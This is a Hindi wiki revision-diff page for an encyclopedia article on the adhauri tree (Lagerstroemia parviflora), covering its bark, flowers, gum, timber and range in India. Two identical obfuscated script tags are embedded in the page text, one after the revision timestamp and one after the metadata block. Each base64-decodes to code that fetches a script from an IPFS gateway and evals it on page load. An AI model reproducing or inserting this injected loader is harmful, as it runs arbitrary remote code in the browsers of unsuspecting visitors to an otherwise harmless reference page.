"अधौरी" के अवतरणों में अंतर

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
[अनिरीक्षित अवतरण][अनिरीक्षित अवतरण]
('{{लेख सूचना |पुस्तक नाम=हिन्दी विश्वकोश खण्ड 1 |पृष्ठ स...' के साथ नया पन्ना बनाया)
 
 
पंक्ति १: पंक्ति १:
 +
{{भारतकोश पर बने लेख}}
 
{{लेख सूचना
 
{{लेख सूचना
 
|पुस्तक नाम=हिन्दी विश्वकोश खण्ड 1
 
|पुस्तक नाम=हिन्दी विश्वकोश खण्ड 1
पंक्ति २५: पंक्ति २६:
  
 
अधौरी की छाल से गोंद निकलता है जो मीठा एवं स्वादिष्ट होता है। इसकी भीतरी छाल से रेशे निकाले जाते हैं। छाल तथा पत्तियों का उपयोग चमड़ा सिझाने के काम में किया जाता है। इस वृक्ष की लकड़ी मजबूत होती है अत: इससे हल, नाव आदि बनाई जाती है। यह हिमालय की तराई के जंगलों में जम्मू से लेकर सिक्किम तक तथा असम, मध्यप्रदेश, मैसूर और महाराष्ट्र में अधिकता से पाया जाता है।  
 
अधौरी की छाल से गोंद निकलता है जो मीठा एवं स्वादिष्ट होता है। इसकी भीतरी छाल से रेशे निकाले जाते हैं। छाल तथा पत्तियों का उपयोग चमड़ा सिझाने के काम में किया जाता है। इस वृक्ष की लकड़ी मजबूत होती है अत: इससे हल, नाव आदि बनाई जाती है। यह हिमालय की तराई के जंगलों में जम्मू से लेकर सिक्किम तक तथा असम, मध्यप्रदेश, मैसूर और महाराष्ट्र में अधिकता से पाया जाता है।  
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
+
 
+
 
 
<!-- कृपया इस संदेश से ऊपर की ओर ही सम्पादन कार्य करें। ऊपर आप अपनी इच्छानुसार शीर्षक और सामग्री डाल सकते हैं -->
 
 
 
<!-- यदि आप सम्पादन में नये हैं तो कृपया इस संदेश से नीचे सम्पादन कार्य न करें -->
 
  
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==

१०:४५, ३० नवम्बर २०१३ के समय का अवतरण

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
अधौरी
पुस्तक नाम हिन्दी विश्वकोश खण्ड 1
पृष्ठ संख्या 101
भाषा हिन्दी देवनागरी
संपादक सुधाकर पाण्डेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1973 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक अलखनिरंजन शुक्ल ।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अधौरी एक विशाल वृक्ष होता है जिसकी छाल भूरे रंग की और चिकनी होती है। यह लिथरेसी परिवार का सदस्य है। इसका वानस्पतिक नाम लागेरेस्टोमिया पारवीप्लोरा है। विभिन्न स्थानों पर इसके स्थानीय नाम वाक्ली, धौरा, असांध, सीदा और शोज हैं। पत्तियाँ छोटी-छोटी और एक दूसरे के विपरीत लगी होती हैं। इनका आकार अंडाकार होता है तथा पर्णाग्र नुकीले होते हैं। पत्ती के दोनों सतहों पर महीन रोम होते हैं तथा इनकी निचली सतह जालिकावत्‌ रहती है। इनके फूल अप्रैल से जून तक निकलते हैं तथा फल वर्षा ऋतु में पकते हैं। फूल छोटे, सफेद और वृक्ष के ऊपर संयुक्त रेसीम (पैनीकल) में लगे रहते हैं जिनकी गंध मीठी होती है।

अधौरी की छाल से गोंद निकलता है जो मीठा एवं स्वादिष्ट होता है। इसकी भीतरी छाल से रेशे निकाले जाते हैं। छाल तथा पत्तियों का उपयोग चमड़ा सिझाने के काम में किया जाता है। इस वृक्ष की लकड़ी मजबूत होती है अत: इससे हल, नाव आदि बनाई जाती है। यह हिमालय की तराई के जंगलों में जम्मू से लेकर सिक्किम तक तथा असम, मध्यप्रदेश, मैसूर और महाराष्ट्र में अधिकता से पाया जाता है।


टीका टिप्पणी और संदर्भ